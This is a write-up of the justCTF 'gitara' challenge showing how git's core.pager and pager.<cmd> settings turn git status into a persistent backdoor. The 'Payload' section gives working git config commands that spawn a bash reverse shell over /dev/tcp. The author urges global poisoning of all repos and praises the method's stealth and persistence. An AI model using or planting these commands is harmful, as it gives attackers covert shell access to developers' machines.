Picture this:
You are a developer working on your favorite project. You love git
and think anyone who dares to use a subpar version control system like mercurial
or subversion
should reconsider their stance before even looking in your general direction. You write pre-commit hooks in your down time to autopep8 every last file in your project. The last time you Googled “git how to revert commit” was 10 years ago. Surely git
could never betray you. It wouldn’t… right? You have a relationship like no other, nothing can come between you and your precious version control… right?
Wrong. Buckle up.
CTF Origin Story
During the justCTF competition over the past weekend, one particular challenge caught my eye:
gitara
was a web / miscellaneous challenge that consisted of a web page running some PHP:
The code takes a value from the domain
parameter in a POST request to the page. Then it scp
’s the contents of the home directory of the user justctf-gitara
on the machine specified with domain
. Then, all it does is run git status
on the new contents of the directory and exits.
Upon initial inspection of this challenge, it was clear that we needed to somehow exploit the git status
command.
After messing with things like git aliases, git hooks, and even looking at the git source code, we decided that there had to be a better way to hijack the git status
command.
Enter .git/config
Somewhere along the way I had the idea to look at more git config variables. I thought it might be possible to chain together some configurations to eventually achieve code execution.
After scrolling through the documentation for every single config variable that I could bear to read, I noticed core.pager
. core.pager
allows for changing the “pager” used to display large amounts of output from git
commands such as git diff
. However, no matter how many files I git add
ed to my test repo, I couldn’t get the pager to trigger for git status
. Still, this was an interesting variable and lead me to the solution.
Eventually, I found pager.<cmd>
. The description of this config variable states:
If the value is boolean, turns on or off pagination of the output of a particular Git subcommand when writing to a tty. Otherwise, turns on pagination for the subcommand using the pager specified by the value of pager.<cmd>
.
This means we have two options to hijack git status
. We can either set pager.status
to true
and set core.pager
to the command we want to inject, or we can just set pager.status
to the command we want it to execute.
To demonstrate a simple command modification, I can just set a couple of config variables for git status
:
This can also be done for any other git
subcommand. I have also created a sample script that poisons a repo’s .git/config
file, backdooring every common git
subcommand with a reverse shell. You will of course have to modify the script to work with your setup, but it is more of a proof of concept than anything. For extra fun, simply modify the git config ...
commands to be git config --global ...
. Now you have poisoned every repo the developer has or ever will have!
Features Are Better Than Bugs
Given that the pager
specification mechanism is a built-in feature of git
, I would personally not consider this a bug. Power users may want to hook the pager
functionality and execute multiple commands for completely legitimate reasons.
Developers can also use this functionality as a sort of alias
for existing git
commands.
Payload
To embed your backdoor into a command like git status
, simply run the following:
1
2
$ git config core.pager "less -FRX; (/bin/bash -i >& /dev/tcp/127.0.0.1/8087 0>&1 &) 2> /dev/null"
$ git config pager.status true
Setting pager.status
to true
tells git status
to use the core.pager
setting. However, if you want each git
subcommand to have different functionality, you can substitute true
for a custom command string:
1
$ git config pager.status "less -FRX; echo hello"
As stated earlier, I have made a simple PoC script to make all of the common git
subcommands pipe a bash prompt to a remote socket. For testing purposes, the IP in the script is localhost
, but it can be changed.
Below is a video of the PoC script in action:
Wrapping It Up
There are many other ways to backdoor a system. If you wanted to backdoor git
in another way, you could just have a shell script in /usr/bin
called git
that ran your code before the real git
binary. Or you could modify the user’s .bashrc
file.
I think this method of poisoning the git
command on a per-repo (or global) basis is much cleaner and sneakier than any of the other methods. A user, especially a developer, is going to eventually notice that their .bashrc
file has been modified. If they ever update git
, the new binary will just replace the shell script.
The config, especially the global config, will persist through git
updates and will likely not be read unless the developer has some reason to check or change their pager
.